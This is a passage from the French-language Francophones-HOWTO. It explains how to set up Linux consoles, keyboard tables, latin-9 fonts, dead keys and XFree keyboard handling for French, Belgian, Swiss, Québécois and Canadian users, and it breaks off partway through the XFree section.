  • 6.25 Impression en mode ascii
  • 6.26 Unicode/latin/cp... je n'ai pas compris ce dernier paragraphe !
  • 6.27 ncurses
  • 6.28 Perl
  • 6.29 Installer les locales
  • 6.30 Kernel
  • 6.31 Lilo
  • 6.32 Groff (man)
  • 6.33 Divers

7. Réglage du clavier pour les applications X

  • 7.1 Les xterminaux (xterm, nxterm, rxvt...)
  • 7.2 Les applications Motif
  • 7.3 Le manuel
  • 7.4 NumLock
  • 7.5 XDM

8. Remerciements


Le Francophones-HOWTO : Linux & la langue française: Présentation

 Next Previous Contents

1. Présentation

1.1 Introduction

Ce document a été rédigé pour aider à configurer un ordinateur doté du système d'exploitation Linux pour des utilisateurs francophones.

Il y est expliqué par exemple comment configurer périphériques et applications afin de prendre en compte les particularités et les spécificités de notre langue...

Toutefois, ce document ne traite pas de l'installation du système d'exploitation Linux ; il est implicitement supposé que vous ayez correctement installé une distribution de Linux, RedHat, Debian ou Suse, cette liste n'étant pas exhaustive, et que vous vous apprêtiez maintenant à mieux la configurer ; veuillez donc vous référer à d'autres HOWTOs pour l'installation.

Les adresses électroniques ont été volontairement supprimées ou modifiées en remplaçant les « a enroulés » par des « (à) » afin d'éviter les publipostages très gênants.

Si quelque terme employé vous semble un peu obscur, je vous invite à vous reporter au lexique (« Vocabulaire : un petit lexique »), expliquant certains mots tels 8 bits, AZERTY ou QWERTY, qui sont employés tout au long de ce document.

1.2 Fichiers utilisés dans ce HOWTO

Tous les fichiers cités dans ce HOWTO, sont disponibles sous licence GPL sur ma page

Je vous recommande de télécharger tous ces fichiers pour les utiliser selon les exemples proposés.

1.3 Les Français ne sont pas les seuls francophones !

a) Différentes versions

Pour chaque manipulation dépendant du pays concerné, un certain nombre de versions peuvent être proposées :

  • une canadienne normalisée (cn)
  • une belge wallonne (be)
  • une française (fr)
  • une québécoise (qc)
  • une suisse romande (sf)
  • une états-unienne internationale (usx)

b) Les états-uniens : raccourcis claviers

La version états-unienne internationale permet à tous les francophones utilisant un clavier « 7 bits » aussi nommé « QWERTY » de bénéficier de l'étendue des caractères 8 bits.

Est disponible aussi une version pour ceux qui utilisent un clavier « Happy Hacking ».

c) Le Luxembourg : comme la France

Le Grand Duché du Luxembourg utilisant les conventions françaises, j'invite les lecteurs luxembourgeois à se reporter aux exemples français.

d) Le Canada : 3 claviers

Il est classique de parler des claviers « canadien international », surtout destinés aux anglophones (qui leur préfèrent toutefois les claviers QWERTY standard) et les claviers « canadien français », aux lettres accentuées.

Mais, de nouveaux claviers dits « canadiens normalisés » ont fait leur apparition récemment pour fusionner les modèles « canadien international », non concerné par le cadre du Francophones HOWTO, et « canadien français ».

Ces nouveaux claviers répondent aux normes CAN/CSA Z243.200-92 et ISO 9995-7 ; ils sont prévus pour être utilisés dans n'importe quelle langue, en remplaçant par exemple les intitulés des touches par des pictogrammes : « Del », en anglais, qui se traduisait par « Suppr » en français devient ainsi trois barres obliques fines orientées sud-ouest/nord-est.

Plus d'explications sont disponibles sur le site de l'Office de la Langue Française.

Toutefois je n'ai pas pu réussir à me procurer un tel clavier ; mes fichiers de configuration sont donc uniquement basés sur les ( illustrations) et les normes théoriques, et non les normes pratiques.

Par exemple, si j'ai compris que la touche « Control » de droite est utilisée comme une « AltGr » mais sert à obtenir encore d'autres caractères, je n'ai aucune idée du comportement de ces touches lorsque seule l'autre a une sérigraphie prévue...

Si on peut m'envoyer un tel clavier, et surtout son pilote, je promets de mettre les fichiers de configuration à jour :-)

1.4 Attention

a) ROOT

Certaines manipulations recommandées par ce document ne peuvent être effectuées que sous le compte privilégié « root » ; la plus grande prudence est alors de rigueur car toute action inadéquate peut mettre en péril le contenu des disques.

Sauvegarder les fichiers existants, par exemple en les copiant sous le même nom suivi du préfixe .old, avant de les modifier ou remplacer.

b) CHERCHER

Le paquetage GNU nommé "find" offre un programme appelé locate, grâce auquel l'utilisateur peut retrouver le nom complet, chemin de répertoires, d'un fichier dont il ne connaît que le nom.

Certaines distributions Linux fournissent cela en /usr/bin/locate.

En tant que root, lancer updatedb invoque un find / sur les disques montés et place les noms de tous les fichiers sous forme hash dans /usr/lib/locate/find.codes (ou /var/lib/slocate/slocate.db pour slocate, utilisé dans les distributions modernes.)

locate permet ensuite de localiser l'un d'eux :

        (guylhem@victis:guylhem)$ locate noms_des_fichiers_à_retrouver


Le Francophones-HOWTO : Linux & la langue française: Les problèmes

 Next Previous Contents

2. Les problèmes

2.1 Présentation

Le problème de tout utilisateur francophone après l'installation de Linux est de lui faire comprendre qu'il utilise des normes différentes des standards par défaut états-uniens..

Cela a des conséquences sur :

  • la police de caractères donc les caractères spéciaux que l'on utilise, accentués comme É È À Ç ou bien ligaturés comme Æ , voire « e dans l'o » qui vient d'apparaître sous Linux grâce à la norme ISO-8859-15 aussi nommée latin-9
  • la correspondance entre la sérigraphie des cabochons ou « touches » du clavier sur lesquelles vous appuyez, et les codes que Linux renvoie, celui-ci supposant un clavier QWERTY états-unien par défaut
  • le format de page pris en charge par les programmes que vous utilisez pour imprimer, différent entre les États-Unis; (14×8,5 pouces pour du papier dit légal) et l'Europe (29,7×21 cm pour des feuilles a4)
  • le format des dates et de l'heure, la position des jours et des mois étant variable selon les régions de la francophonie
  • le format de la monnaie, aussi variable selon les francophones
  • la langue utilisée pour les messages d'erreur

2.2 Solutions

Tout est préconfiguré pour un états-unien : bien que ceux-ci ne représentent pas la majorité de la population mondiale, ils ont été précurseurs en informatique.

Il faut donc se faire reconnaître comme une « exception » par les différents programmes, par des options ou des variables à exporter voire dans les pires des cas une modification du code source suivie d'une recompilation.

Heureusement, la philosophie GNU de Linux rend le système très ouvert à des modifications de toutes sortes et comme vous allez le découvrir au fil de ce document, et il est assez simple d'obtenir un résultat très correct.

2.3 Aider

Pour le moment, le futur de l'internationalisation de Linux porte sur la traduction des messages d'erreur, des programmes comme KDE ou GNOME, des pages de manuel et de la documentation, alors si vous vous sentez l'âme d'un traducteur, n'hésitez pas à contacter l'équipe de traduction des HOWTOs ; pour cela, adressez-vous à Éric Dumas <dumas(à)freenix.fr> ou <dumas(à)linux.eu.org>.


Le Francophones-HOWTO : Linux & la langue française: Le vocabulaire : petit lexique

 Next Previous Contents

3. Le vocabulaire : petit lexique

Tout d'abord, un mot sur le vocabulaire employé :

3.1 8 bits

Des caractères sont dits « 8 bits » s'ils correspondent à des accents ou à des signes spéciaux comme « § », non inclus dans le standard ASCII « 7 bits ».

Ce standard, sans accents ni caractères spéciaux, correspond aux 128 (2^7) premiers caractères des 256 (2^8), de 0 à 255.

Pour des raisons historiques (place disponible, inutilité pour les états uniens) seuls les 128 (2^7) premiers caractères ont été normalisés par l'ASCII : par exemple le A qui est le 65e caractère de la table ASCII s'écrit 0100 0001 en notation binaire.

Pour les caractères situés hors de la norme ASCII, différentes « normes » ou « standards » incompatibles, comme l'Unicode, l'iso-8859, le latin, le cp (...) fixent ces correspondances.

Par exemple, dans le standard ASCII étendu par l'iso-8859-1, le 224ème caractère équivalent noté « eb » en hexadécimal correspond à « ë ».

3.2 La police de caractères

Une police de caractères est une correspondance entre des codes informatiques et des caractères (alphanumériques...) affichables par l'ordinateur.

La police de caractères est l'ensemble des représentations graphiques des caractères d'un standard.

3.3 Les polices de caractères

Il existe plusieurs polices de caractères 8 bits pouvant répondre au besoins des francophones.

Je vous recommande de lire à ce sujet l'excellent site de Roman Czyborra qui a fait une thèse sur ce sujet et qui vous donnera une explication fort détaillée

Pour résumer, il est nécessaire de choisir une police de caractères pour que tous les caractères français soient disponibles.

Voici la liste des polices dites « ISO 8859 », mais attention, il existe leurs équivalents en « code page » pour windows (comme cp1252).

  • ISO 8859-1 : latin 1 : langues d'Europe de l'ouest, Afrikaans, Swahili. Le Swahili, n'utilise aucun caractère accentué (comme l'Anglais, le Malais et l'Indonésien), donc n'importe quel version fait l'affaire. Pour l'Afrikaans, je ne sais plus exactement quel était le choix initial (c'est-à-dire où avait été rangé le 'n au départ), mais il ne me semble pas que ce soit dans Latin 1. Dans la pratique, bien sûr, les Afrikaaner utilisent Latin 1 ; la même chose se passe pour un certain nombre des cas qui suivent.
  • ISO 8859-2 : latin 2 : langues d'Europe centrale et orientale. Dans les faits : Polonais, Tchèque, Slovaque, Slovène, Croate, Hongrois, Roumain, probablement aussi le Sorbe ou Sorabe (Wende en allemand). Officiellement, je crois que l'Albanais s'écrit aussi en Latin-2, mais comme dans les faits c'est identique au Latin 1... Il y a un problème pour le Roumain, car le Latin 2 contient formellement les caractères avec une cédille, quand en roumain on utilise une virgule souscrite.
  • ISO 8859-3 : latin 3 : Espéranto et Maltais. Initialement, c'était prévu pour les langues d'Europe du Sud, y compris le Turc, les langues d'Espagne (donc Catalan, Basque), le Français. Mais dans la pratique, c'est limité à ces deux langues.
  • ISO 8859-4 : latin 4 : langues baltes (incomplet). Pas utilisé dans la pratique, remplacé par Latin 7 (iso-8859-13), ou plutôt en pratique la codepage 1257 Windows. Pour l'Este ou Estonien, on peut aussi utiliser Latin 9.
  • ISO 8859-9 : latin 5 (comme latin 1, moins l'Islandais, plus le Turc). Usage : le Turc et peut-être l'Azéri, mais il manque le schwa, un « e » renversé. Codage officiel aux Pays-Bas du fait des Turcs qui y habitent.
  • ISO 8859-10 : latin 6 : langues nordiques, sauf le Lapon Skolt. Pas utilisé dans la pratique : ne servirait que pour les langues sames (ou lapones), mais il manque des caractères, et le public concerné est de toute manière assez limité.
  • ISO 8859-11 : Thai. Pas encore officiellement adopté.
  • ISO 8859-12 : Indien (n'existe pas encore). Prévu pour le devanagari, pour écrire l'Hindi, la langue principale de l'Inde, et aussi un grand nombre d'autres langues indiennes, dont le Sanskrit.
  • ISO 8859-13 : latin 7 : langues baltes. Plus exactement : couvre les langues du pourtour de la mer Baltique, donc aussi le Polonais, l'Allemand et les langues de scandinavie. Mais dans la pratique il est réduit en utilisation aux langues baltes et à l'Este ou Estonien.
  • ISO 8859-14 : latin 8 : langues celtes. Pour le Breton, le Gaélique et les dialectes parlées au Pays de Galles et en Irlande.
  • ISO 8859-15 : latin 9 : comme latin 1, en y comblant quelques manques. Pour le Français, le Finnois (en concurrence avec Latin 1) et l'Este ou Estonien (en concurrence avec Latin 7).

De cette longue liste, il convient de ne retenir que :

  • ISO 8859-1 latin 1 : police ouest-européenne utilisée par la majorité des systèmes UNIX, elle permet de disposer de tous les caractères Français sauf les « o e liés », l'euro et l'y tréma majuscule
  • cp850 : équivalent sous DOS de cette police, mais incompatible : il faut utiliser un outil de traduction de fichiers tel GNU recode.
  • ISO 8859-15 latin 9 : police de l'union européenne, il s'agit d'une version révisée de l'ISO 8859-1 latin 1 pour inclure tous les caractères des pays européens ; ainsi on y retrouve les caractères Français manquant, l'euro, et des caractères finlandais manquants.
  • latin 0 : l'ISO 8859-15 latin 9 est souvent incorrectement abrégée en latin0, qui correspondait au nom du projet, de par son ambition à remplacer le latin 1 un jour. Je vous renvoie au site de l'ISO et à la documentation complète de ce standard
  • cp1252 : équivalent sous Windows de cette police, aussi incompatible, qui apporte les mêmes caractères manquants, du fait d'une révision récente de cette norme.
  • ISO 8859-9 latin 5 : police officielle en Turquie et en Hollande, où les caractères Islandais peu utilisés ont été remplacés par les caractères turcs.
  • cp1254 : équivalent sous Windows de cette police, aussi incompatible, qui apporte les caractères manquant au Français précédemment cités et remplace les caractères Islandais peu utilisés par les caractères turcs.

Les choix de polices de caractères sont souvent des questions ou la raison se heurte aux habitudes.

Pour ma part, si vous hésitez, je vous recommande l'ISO 8859-15 latin 9, pour diverses raisons :

  • Il supporte l'intégralité des caractères utilisés en Français de manière standard sur les UNIX, pour les échanges de fichiers entre Solaris et Linux par exemple
  • Il s'agit de la police 8 bits choisie par l'union européenne si l'Unicode, évolution du 8 bits, n'est pas disponible
  • Il permet d'écrire des textes avec l'intégralité des caractères utilisés dans l'union
  • Il est en train de devenir le nouveau standard dans la messagerie électronique au sens large, supplantant progressivement l'ISO 8859-1 latin 1

Le Francophones HOWTO utilise donc le latin 9 dans tous les exemples, car il y a de grandes chances que votre système ne soit pas encore compatible latin 9... autant donc vous proposer des manipulations et des travaux pratiques utiles :-)

Toutefois, si vous ne pouvez utiliser l'ISO 8859-15 latin 9 et décidez d'en choisir une autre, je vous recommande d'éviter les cp propres au monde DOS/Windows et de vous rabattre sur l'ISO 8859-1 latin 1 qui est encore un standard fort répandu : dans chaque exemple je vous invite alors à remplacer les « latin9 » par des « latin1 »

3.4 Table de clavier

Une table de clavier est un fichier permettant de faire correspondre l'empreinte physique des cabochons, « touches » du clavier, au résultat obtenu sur l'écran de l'ordinateur.

Pour linux, ces fichiers sont dans /usr/lib/kbd/keytables/ ou /usr/share/kbd/keytables/

Par exemple, les claviers français AZERTY ont une table de clavier différente des claviers suisse romands QWERTZ, ou des claviers du reste du monde, QWERTY.

Cela ne concerne que l'apparence du clavier, l'empreinte des cabochons, donc disposition relative des caractères sur le clavier, et non son électronique interne ; si votre clavier ne vous convient pas, il vous suffit donc d'utiliser des autocollants pour le transformer en un autre clavier francophone.

3.5 « Home », « End », « Page_Up » et « Page_Down »

Les touches « Home », « End », « Page_Up » et « Page_Down » dont les noms varient selon les claviers sont les touches permettant respectivement d'aller en début/fin de ligne et de monter/descendre d'une page.

Les codes affectes à ces touches sont respectivement 102 et 107 pour « Home » et « End » en mode terminal.

Dans les pictogrammes des claviers ISO 9995-7, ces touches sont représentés par des flèches aux traits appuyés.

Lorsqu'on presse une touche, le clavier émet un code, qui est intercepté par la table de clavier.

La table de clavier, si elle reconnait le code, renvoie la chaine associée à la touche, en l'occurence« "\e[4 » pour « End ».

Lorsque bash ou un autre programme reçoit cette chaine, il ne la connait pas !

Donc il faut lui dire, dans le .inputrc que "\e[4 " signifie "aller à la fin de la ligne"

Donc pour que ces touches fonctionnent dans le shell bash, on ajoutera donc dans le fichier .inputrc (dans votre / ou dans /etc/inputrc) les lignes:

set meta-flag on
set convert-meta off
set input-meta on
set output-meta on
set bell-style visible

"\e[1~":beginning-of-line
"\e[3~":delete-char
"\e[4~":end-of-line
"\e\C-h": backward-kill-word
"\e\e[3~": kill-word

Les premières lignes permettent d'afficher les caractères 8 bits, et de remplacer le « bip » en cas d'erreur par un éclair blanc à l'écran.

3.6 Touches mortes

Les touches mortes sont des touches qui ne produisent pas de caractères en elles-mêmes, mais qui modifient la façon dont la frappe suivante va être interprétée, par exemple, le tréma ou l'accent circonflexe sont en général des touches mortes.

Une touche morte est une touche qui doit donc être suivie d'un espace pour obtenir l'accent seul, ou dans le cas où elle est suivie d'une voyelle y positionne un accent, par exemple :

        « ^ » puis « e » donne « ê »
        « ^ » puis « espace » donne « ^ »

Les touches mortes sont :

  • be et fr: l'accent aigu en AltGr de 1 pour les Français et en AltGr de ù pour les Belges, l'accent grave en AltGr de 7 pour les français & en AltGr de carré/cube pour les Belges, le tréma et l'accent circonflexe tous deux à côté du P
  • sf et usx: les accent aigus, graves, circonflexes, les trémas et la tilde
  • qc: les accent graves, circonflexes, les trémas et la cédille

3.7 « BackSpace » et « Delete »

En raison d'une erreur volontaire et historique sous Linux, pour « émuler » le fonctionnement d'un clavier de console VT, ces 2 touches sont fréquemments mélangées, au mieux fonctionnant à l'identique, au pire ne fonctionnant pas du tout.

Commençons donc par bien les définir :

  • BackSpace : touche placée en haut à droite du pavé principal, au dessus d' « Entrée », au cabochon marqué d'une flèche vers la gauche.
  • Delete : touche du pavé curseur au cabochon marqué « Suppr » ou « Del », à gauche de « Fin » ; en ISO 9995-7 elle correspond à trois barres obliques fines orientées sud-ouest/nord-est.

Le pavé numérique offre une touche au marquage identique et à effet identique lorsque « Verr Num » ou « Num Lock » est désactivé.

Ces deux touches correspondent chacune à un de ces codes :

  • BS : caractère ASCII 0x08, ou control-h.
  • DEL : caractère ASCII 0x7F, ou control-?
  • ^D : caractère ASCII 0x04, ou control-d.

Ceci dans le but d'effacer à gauche du curseur avec BackSpace, à droite du curseur avec Delete.

3.8 « UTC » et « GMT »

Chaque partie du monde a sa propre norme horaire, basée sur des fuseaux.

La France se trouve en zone MET, « heure moyenne européenne » soit GMT+1 ; la zone « MET DST » correspond à l'heure d'été activée soit GMT+2.

  • GMT est l'heure solaire moyenne de Greenwich. L'heure est comptée à partir de midi et est donc décalée de 12 h par rapport au temps universel. GMT est basée sur la rotation de la terre, ce n'est donc pas un temps régulier. En effet, la vitesse de rotation de la Terre subit des variations faibles mais assez chaotiques, en plus elle diminue sur le long terme.
  • UTC, « temps universel coordonné », est compté à partir de minuit toujours par rapport au méridien zéro. Il est basé sur des étalons atomiques, mais des secondes intercalaires sont ajoutées occasionnellement pour faire en sorte qu'il ne s'écarte jamais de plus de une seconde de l'heure solaire moyenne. Le site de l'opdaf et le lexique donnent plus de renseignements.

C'est le temps UTC, défini à Paris, qui sert de référence aux différentes heures légales.

L'acronyme « GMT » est employé 99% du temps pour désigner UTC, mais c'est une erreur ou un abus de langage.

Enfin, à titre purement indicatif, il existe l'heure astronomique, aussi comptée sur des étalons atomiques mais décalée de 4 minutes par jour de l'heure terrestre car se basant sur la position de la terre dans l'espace par rapport aux étoiles.


Le Francophones-HOWTO : Linux & la langue française: Réglage du clavier sous Linux

 Next Previous Contents

4. Réglage du clavier sous Linux

4.1 Introduction

Il existe deux programmes pour configurer votre clavier : un pour la console : loadkeys et un pour XFree : xkbd.

Pour installer un clavier français sous Linux, tapez selon votre clavier une des lignes suivantes :

        loadkeys tables-clavier/fr/fr-latin9.map
        loadkeys tables-clavier/qc/qc-latin1.map
        loadkeys tables-clavier/cn/cn-latin1.map
        loadkeys tables-clavier/be/be-latin9.map
        loadkeys tables-clavier/sf/sf-latin1.map
        loadkeys tables-clavier/usx/usx-latin1.map
        loadkeys tables-clavier/usx/usx-happy-hacking-latin9.map

4.2 Attention au stty !

Avec les tables latin 9 recommandées dans ce HOWTO, pour linux-console aussi bien que pour X window, N'UTILISEZ PLUS :

        stty erase ^H

ou :

        stty erase ^?

« stty erase » ne sert en effet qu'à établir une correspondance entre le code que renvoie une touche et la fonction erase pour effacer le caractère.

Les tables ici fournies fonctionnent correctement et ne nécessitent donc pas de stty erase qui risquerait surtout de perturber leur bon fonctionnement !

Supprimez-donc ces lignes de vos fichiers d'initialisation de l'interpréteur de commandes « shell », comme .bashrc, .bash_profile ou .tcshrc .

4.3 Faire de ces modifications les défauts au démarrage

D'habitude, loadkeys est exécuté par des scripts au démarrage ; par exemple dans /etc/rc.d/init.d/keytable ou /etc/rc.d/rc.local, init.d/keytable ou rc.keymap.

La commande :

        find /etc/rc.d -type f | xargs grep loadkeys

vous fournira le nom exact du fichier lançant loadkeys ; il vous suffit alors de l'éditer pour que vos modifications soient désormais prise en en compte à chaque démarrage.

Les distributions RedHat et Debian constituent des exceptions : la table de clavier par défaut étant définie dans /etc/sysconfig/keyboard pour la RedHat et /etc/kbd/config pour les Debian.

Remplacer donc dans le fichier propre à votre distribution la table de clavier en question par la bonne table comme fr-latin9.map (selon votre modèle de clavier)

Vous devrez mettre une copie de la table que vous utilisez dans le répertoire où votre distribution va chercher les tables de clavier ; en général /usr/lib/kbd/keymaps/i386/azerty/ pour une RedHat et /usr/share/kbd/keymaps/i386/azerty/ pour une Debian.

Allez donc sur télechargez l'archive, enregistrez-la dans votre répertoire /, puis détarrez-la avec la commande:

        tar -xzvf francophones-howto.tgz

Cela crée un répertoire /french : placez-vous dans ce répertoire puis tapez :

        cp tables-clavier/linux-console/fr-latin9.map /usr/lib/kbd/keytables/i386/azerty/

Pour afficher les caractères latin9, vous devrez exécuter les instructions de la section « polices de caractère ».

4.4 Polices de caractère

Si vous utilisez console-tools-1998.08.11.tar.gz, vous pourrez remplacer « setfont » par « consolechars » : ces programmes servent à charger une police sous linux console.

        setfont /usr/lib/kbd/consolefonts/xxxE-NN.psf.gz

Je vous conseille pour des raisons développées plus bas :

        setfont /usr/lib/kbd/consolefonts/lat9-16u.psf.gz

Je ne vous conseille pas les fichiers « lat1 », qui ne supportent pas l'euro ni les autres caractères français.

Vous trouverez aussi des fichiers « .uni » qui ne sont utiles que pour créer des polices ou pour ceux qui utilisent l'unicode : ils fixent des correspondances entre les « dessins » des caractères dans la police et les codes des dits caractères, un même dessin pouvant correspondre à plusieurs codes dans l'example de d'unicode.

Pour les polices toutes faites, vous pouvez forcer cette correspondace avec l'option « -u fichier.uni ».

Si vous tenez à les installer, copiez de la même manière tous les fichiers commençant par « lat9 » et se terminant par « .uni » dans le répertoire /usr/lib/kbd/consoletrans avec la commande:

    cp lat9*.uni /usr/lib/kbd/consoletrans

D'habitude, setfont est exécuté par des scripts au démarrage ; par exemple dans /etc/rc.d/init.d/keytable ou /etc/rc.d/rc.local, init.d/keytable ou rc.keymap.

La commande :

        find /etc/rc.d -type f | xargs grep setfont

vous fournira sur le nom exact du fichier lançant setfont ; il vous suffit alors de l'éditer pour que vos modifications soient désormais prise en en compte à chaque démarrage...

Les distributions RedHat et Debian constituent des exceptions : la police par défaut étant définie dans /etc/sysconfig/i18n pour la RedHat et /etc/kbd/config pour les Debian.

Dans /etc/sysconfig/i18n rajouter une ligne de la forme :

        SYSFONT=xxxE-NN.psf

  • xxx représente le type de police ; il doit s'agir d'une lat pour les francophones ce qui signifie ISO 8859 ou latin. Sans cela il n'y a plus de caractères « étendus » comme les voyelles accentués, symboles de ponctuation comme paragraphe...
  • E représente l'encodage latin, par exemple 1 pour latin1, 0 ou 9 pour latin9
  • NNN représente la taille individuelle de chaque caractère ; 08 est presque illisible mais 16 est un peu gros... À régler selon les goûts de chacun.

Je vous conseille la police lat9-16u.psf ou son équivalent lat0-16.psf installée par défaut sur la plupart des distributions, très souvent compressée donc avec le suffixe « .gz » .

[ rajouter une explication sur comment installer la police ]

La section « une police, des polices » vous donnera plus de détails sur les polices disponibles.

4.5 Vieilles versions

Si lors du chargement de la table de clavier vous rencontrez un message d'erreur similaire au suivant :

        (guylhem@victis:guylhem)$ loadkeys fr-latin9.map
        Loading /usr/lib/kbd/keytables/fr-latin9.map
        unknown keysym 'dead_cedilla'
        /usr/lib/kbd/keytables/fr-latin9.map:67: parse error
        syntax error in map file
        key bindings not changed

Cela signifie que votre version de kbd dont le programme loadkeys dépend est trop vieille : il faut vous procurer une version plus récente du programme.

Il existait et existe encore des versions des tables de clavier pour ceux ne voulant ni touches mortes ni accents, mais celles-ci tombent actuellement en désuétude puisque la grande majorité des programmes prennent désormais en charge ces fameuses touches mortes et les caractères accentués.

De plus, les tables fournies avec ce HOWTO permettent de se servir des touches mortes ou de s'en passer si un programme les refuse, les deux cas ayant été prévus :

4.6 Améliorations spécifiques au clavier français latin9

Ça y est, vous pouvez taper du texte latin 9 sous Linux en mode console !

Seules 2 touches ont été modifiées :

a) carré/cube

Elle sert maintenant à oe/OE liés ; en AltGr on y trouve les guillemets français.

Le carré & le cube restent respectivement accessibles en AltGr (ù) et Alt Gr(*), les guillemets étant aussi directement accessibles avec AltGr (w) et AltGr (x), selon la norme ISO 9995 part 3 appliquée à la norme AZERTY française.

En résumé :

  • AltGr (oe) : «
  • AltGr + Shift (oe) : »
  • AltGr (w) : «
  • AltGr (x) : »
  • AltGr (m) : ¹
  • AltGr (ù) : ²
  • AltGr (*) : ³

b) dollar / livre / symbole monétaire international

Étant donné que le symbole monétaire international n'est plus disponible dans la norme d'encodage ISO 8859-15, il a été remplacé par la division centésimale de l'euro : le cent, disponible donc en AltGr ($).

Dans les précédentes versions, le dollar & la livre, des monnaies étrangères, avaient été déplacés pour laisser la place à l'euro et au cent, notre monnaie.

De telles modifications étaient permises par les recommandations officielles de l'EURO WORKSHOP mais allaient à l'encontre de la norme AZERTY : si la position AltGr (e) est déjà occupée sur un clavier, la position de l'euro est laissée au libre choix des programmeurs.

AltGr (e) sert à faire « ê » depuis 1992 sous Linux, mais devant les protestations légitimes d'utilisateurs disposant d'un clavier où l'euro est sérigraphié en AltGr (e), j'ai du déplacer le ê en AltGr + Shift ($).

Désolé d'avoir rompu la « tradition » linuxienne pour conserver la compatibilité à la norme AZERTY & aux recommandations officielles de l'EURO WORKSHOP !

En résumé :

  • AltGr (e) : euro
  • AltGr ($) : cent
  • AltGr + Shift ($) : ê

4.7 Pour les autres claviers latin9

L'euro & les cents ont été rajoutés respectivement en AltGr (e) & en AltGr (c).

La touche AltGr a donc été rajoutée ; pour utiliser ces fonctions avec toute table de clavier, il suffit de charger other-latin9.map après votre table nationale.

La plupart des améliorations du clavier français ont été transposées aux claviers nationaux par des auteurs externes.

Toutefois, je ne possède pas chaque modèle de clavier et ne peut expliquer en détail toutes ces modifications ; des sections spécifiques seront donc rajoutées par la suite par d'autres auteurs.

4.8 Dans tous les cas

« Home », « End », « Delete » et « BackSpace » ont été corrigées & les touches « Windows » ont été correctement définies, pour passer d'une console virtuelle à l'autre.

Des « Composes », séquences à préfixer par la touche compose ( « ImprÉcran » ou « Print Screen » par défaut) ont été rajoutées, mais cela reste transparent pour l'utilisateur.

Par exemple:

  • COMPOSE ^ suivi d'une des lettres (s,S,z,Z) sert à obtenir les lettres finlandaises rajoutées
  • COMPOSE " suivi d'une des lettres (y,Y) sert à obtenir les y trémas franco-néerlandais rajoutés
  • COMPOSE - suivi d'une des lettres (e,c,l,y) sert à obtenir l'euro, le cent, la livre, le yen


Le Francophones-HOWTO : Linux & la langue française: XFree

 Next Previous Contents

5. XFree

5.1 Introduction

Il y a quelques années, « xmodmap » servait à changer les tables de clavier sous XFree, un fichier de configuration d'ordinaire nommé /usr/X11/lib/X11/xinit/.Xmodmap étant pris en charge grâce à votre .xinitrc ou /etc/X11/xinit/xinitrc

Pour convertir une table console correcte, on utilisait « mk_modmap » livré avec l'archive kbd et généralement installé en /usr/lib/kbd/keytables

Les utilisateurs désirant personnaliser leur table xmodmap employaient le programme « xkeycaps ».

Puis XFree 2.1 et les version ultérieures ont reconnu la disposition des touches du clavier gérée par « loadkeys », rendant théoriquement xmodmap inutile.

Mais la gestion de la touche « COMPOSE » assurée par XFree 3.1 laissait un peu à désirer, la table héritée de « loadkeys » ne servant guère.

Il fallait donc continuer à employer xmodmap, l'utilitaire logiciel standard permettant d'obliger le serveur X à associer les événements souris/clavier à des caractères.

Sous XFree version 3.2 et postérieures, « xkb » rendit xmodmap définitivement obsolète.

Mais ne voilà-t-il pas les rumeurs qui voulaient que les prochaines versions de XFree ne supporte plus les touches mortes se sont confirmées !!!

Dans la distribution X11 du X Consortium, donc XFree86, qui en est directement issu, il n'existe plus de mécanisme général de gestion des touches mortes, ou des solutions approximatives obligeant à supprimer aussi xkb ou modifier des bibliothèques de programmes !

5.2 Mal programmer

À chaque programme de bien gérer les touches mortes au lieu de faire confiance à X pour cette tâche.

En réalité, il n'est pas compliqué de gérer des touches mortes, il suffit d'utiliser la bonne fonction, XmbLookupString() dans les programmes Motif, au lieu de XLookupString().

5.3 Le clavier en pratique

Quelle histoire compliquée !

De ce fait, elles ne fonctionnent que pour les clients X « internationalisés », c'est-à-dire qui gèrent eux-mêmes les problèmes liés aux méthodes d'entrée de données des différentes langues nationales.

Ceci est très gênant lorsqu'on veut pouvoir saisir du texte comportant des lettres accentuées, alors que le client utilisé n'est pas internationalisé !

a) Solution utilisant xmodmap

Taper :

        cp fr-latin9.xmod /usr/X11R6/lib/X11/xinit/Xmodmap
        cp fr-latin9.xmod ~/.Xmodmap

b) Solution utilisant xkb (recommandée)

Taper :

        cp fr-latin9 /usr/X11R6/lib/X11/xkb/symbols

Puis éditer votre XF86Config pour y rajouter dans la section « Keyboard » les lignes xkb idoines :

Section "Keyboard"
Protocol        "Standard"
AutoRepeat      500 30
LeftAlt         Meta
RightAlt        ModeShift               # Important pour Alt-gr, mais dans les
                                        # versions récentes de XFree, AltGr et
                                        # RightAlt sont synonymes.

ScrollLock      Compose                 # Pour faire des caractères spéciaux.
                                        # Utiliser sinon une des 3 touches des
                                        # nouveaux claviers 105 touches...

RightCtl        Control                 # Garder la touche normale

XkbKeycodes     "xfree86"
XkbRules        "xfree86"
XkbTypes        "default"
XkbCompat       "default"
XkbSymbols      "fr-latin9(pc105)"
XkbGeometry     "pc(pc105)"
XkbModel        "pc105"

EndSection

Pour cette partie Xkb, certains préfèrent :

        XkbKeymap       "xfree86(fr-latin9)"
        XkbKeycodes     "xfree86"
        XkbSymbols      "en_US(pc101)+fr-latin9"
        XkbGeometry     "pc(pc101)"

Bien sur, remplacer « fr » par « cn », « be », « ch » ou « usx » selon votre clavier...

c) Solution du compose

Une autre méthode pour obtenir des caractères 8 bits :

Dans /usr/X11R6/lib/X11/locale/iso8859-1/Compose se trouve une table de « correspondance » entre deux caractères et un résultat ; les deux caractères sont «mélangés» lors de l'appui sur la touche Compose : par exemple;

        COMPOSE suivi de « e » puis « ^ »

a toutes les chances de vous donner ê, y compris dans l'ordre opposé (« ^ » puis « e »)

Mais pour utiliser la touche Compose, vous devez l'affecter à une touche !

Le paramétrage préconisé, réglé dans XF86Config, la fait correspondre à la touche « Arrêt Défil » inutile sous X, par la commande :

        ScrollLock       Compose

dans la section Keyboard.

Attention, sous Linux en mode console, cette touche est utile (pour bloquer temporairement la console virtuelle) et c'est « Impr Écran » ou « Print Screen » qui, ne servant à rien, est affectée à « Compose ».

d) Solution modifiant la libX11

Thomas Quinot <Thomas.Quinot(à)cuivre.fdn.fr> vous propose donc sa libX11 modifiée, qui gère les touches mortes de manière transparente pour tous les clients.

Elle permet également de traiter les séquences composées inconnues comme des paires de caractères, par exemple :

        ~ + / = ~/

Pour l'utiliser :

  • Récupérez libX11-XF3.3.1.tar.gz ;
  • Extrayez le fichier libX11.so.6.1 ;
  • Placez-le dans /usr/X11R6/lib/ ;
  • Exécutez ldconfig ;
  • Désactivez l'extension XKB en utilisant l'option XkbDisable dans la section Keyboard de votre XF86Config.

e) Est-ce nécessaire ?

